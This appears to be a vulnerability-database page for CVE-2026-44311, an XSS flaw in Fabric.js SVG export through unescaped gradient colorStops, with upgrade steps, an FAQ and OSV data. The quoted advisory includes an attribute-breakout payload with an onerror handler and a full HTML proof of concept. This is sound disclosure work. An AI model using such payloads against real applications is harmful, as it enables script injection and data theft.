Vulnerabilities in pkg:npm/fabric

PACKAGE
Advisory Identifier: GHSA-w22m-hvvm-xmwx
Advisory Summary

CVE-2026-44311 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Fabric libraries in the npm ecosystem. The issue involves fabric.js improper escaping in fabric.gradient colorstops leads to xss in svg serialization. Remediation is available by upgrading affected packages to version 7.4.0.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/fabric

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/fabric. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-w22m-hvvm-xmwx CVE-2026-44311 MODERATE Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization
GHSA-hfvx-25r5-qc3w CVE-2026-27013 HIGH Fabric.js Affected by Stored XSS via SVG Export

CVE-2026-44311 at a Glance

CVE Identifier CVE-2026-44311
GHSA Identifier GHSA-w22m-hvvm-xmwx
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Fabric
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44311

To remediate this vulnerability, upgrade all affected Fabric dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fabric fixed: 7.4.0
npm install fabric@7.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls fabric

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44311, inspect your project dependencies using npm:

npm ls fabric

Analyze the terminal output to locate any version of Fabric in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.4.0), your application is affected.

Note: The npm ls fabric command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Fabric, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method. Specifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. ### Details During SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like: ```xml <stop offset="0" stop-color="..."></stop> ``` However, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup. For example: ```js color: 'red"><img src="x" onerror="alert(1)">' ``` may result in: ```xml <stop offset="0" stop-color="red"> <img src="x" onerror="alert(1)"> ``` This breaks the intended SVG structure and introduces executable HTML. ### PoC (Proof of Concept) Successfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG: ```html <!DOCTYPE html> <html> <head> <title>Fabric.js SVG Export XSS Bypass Test</title> <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script> </head> <body> <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1> <canvas id="c" width="400" height="300"></canvas> <h3>SVG Output Rendering:</h3> <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div> <script> setTimeout(() => { const canvas = new fabric.Canvas('c'); // Construct a malicious gradient object const maliciousGradient = new fabric.Gradient({ type: 'linear', coords: { x1: 0, y1: 0, x2: 100, y2: 0 }, colorStops: [ { offset: 0, // Inject XSS payload to prematurely close the attribute/tag color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">' }, { offset: 1, color: 'blue' } ] }); const rect = new fabric.Rect({ left: 50, top: 50, width: 300, height: 100, fill: maliciousGradient }); canvas.add(rect); // Export to SVG string containing the malicious code const svgOutput = canvas.toSVG(); // Render on the page to trigger the XSS document.getElementById('svg-output').innerHTML = svgOutput; }, 100); </script> </body> </html> ``` ### Impact This issue can lead to XSS in applications that: 1. Allow user-controlled input in gradient definitions (e.g., color values) 2. Use `canvas.toSVG()` to export content 3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`) Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user. ### Suggested Fix **Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.

CVE-2026-44311 Affected Fabric Versions

1 component(s)
Fixed Versions:
7.4.0
Product / Package Ecosystem Affected Versions Fixed Version
fabric
npm
< 7.4.0
7.4.0

References

Frequently Asked Questions

What is CVE-2026-44311?
CVE-2026-44311 is a security vulnerability in Fabric involving Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization under CWE-116: Improper Encoding or Escaping of Output.
Which Fabric versions are affected?
Affected versions include releases prior to 7.4.0 across affected packages: fabric.
What version fixes CVE-2026-44311?
Upgrading to 7.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fabric affected?
Yes, fabric is affected in releases prior to 7.4.0. Upgrade your dependency to 7.4.0 or later.
What is the CVSS score of CVE-2026-44311?
CVE-2026-44311 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-44311?
CVE-2026-44311 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for CVE-2026-44311?
Run the dependency tree command: 'npm ls fabric'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w22m-hvvm-xmwx",
  "modified" : "2026-07-18T17:26:21Z",
  "published" : "2026-06-12T21:00:32Z",
  "aliases" : [ "CVE-2026-44311" ],
  "summary" : "Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization",
  "details" : "### Summary\n\nA potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.\n\nSpecifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.\n\n### Details\n\nDuring SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like:\n\n```xml\n<stop offset=\"0\" stop-color=\"...\"></stop>\n```\n\nHowever, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `\"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup.\n\nFor example:\n```js\ncolor: 'red\"><img src=\"x\" onerror=\"alert(1)\">'\n```\n\nmay result in:\n```xml\n<stop offset=\"0\" stop-color=\"red\">\n<img src=\"x\" onerror=\"alert(1)\">\n```\nThis breaks the intended SVG structure and introduces executable HTML.\n\n### PoC (Proof of Concept)\n\nSuccessfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n   <title>Fabric.js SVG Export XSS Bypass Test</title>\n   <script src=\"[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)\"></script>\n</head>\n<body>\n   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>\n   <canvas id=\"c\" width=\"400\" height=\"300\"></canvas>\n   \n   <h3>SVG Output Rendering:</h3>\n   <div id=\"svg-output\" style=\"border: 1px solid #ccc; padding: 10px; margin-top: 10px;\"></div>\n\n   <script>\n       setTimeout(() => {\n           const canvas = new fabric.Canvas('c');\n           \n           // Construct a malicious gradient object\n           const maliciousGradient = new fabric.Gradient({\n               type: 'linear',\n               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },\n               colorStops: [\n                   {\n                       offset: 0,\n                       // Inject XSS payload to prematurely close the attribute/tag\n                       color: 'red\"><img src=\"x\" onerror=\"alert(\\'XSS Triggered Successfully!\\')\">'\n                   },\n                   { offset: 1, color: 'blue' }\n               ]\n           });\n\n           const rect = new fabric.Rect({\n               left: 50, top: 50, width: 300, height: 100,\n               fill: maliciousGradient\n           });\n\n           canvas.add(rect);\n\n           // Export to SVG string containing the malicious code\n           const svgOutput = canvas.toSVG();\n\n           // Render on the page to trigger the XSS\n           document.getElementById('svg-output').innerHTML = svgOutput;\n       }, 100);\n   </script>\n</body>\n</html>\n```\n\n### Impact\n\nThis issue can lead to XSS in applications that:\n1. Allow user-controlled input in gradient definitions (e.g., color values)\n2. Use `canvas.toSVG()` to export content\n3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)\n\nSuccessful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.\n\n### Suggested Fix\n**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fabric"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fabricjs/fabric.js/security/advisories/GHSA-w22m-hvvm-xmwx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44311"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fabricjs/fabric.js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/fabricjs/fabric.js/releases/tag/v740"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T21:00:32Z",
    "nvd_published_at" : "2026-06-22T22:16:46Z"
  }
}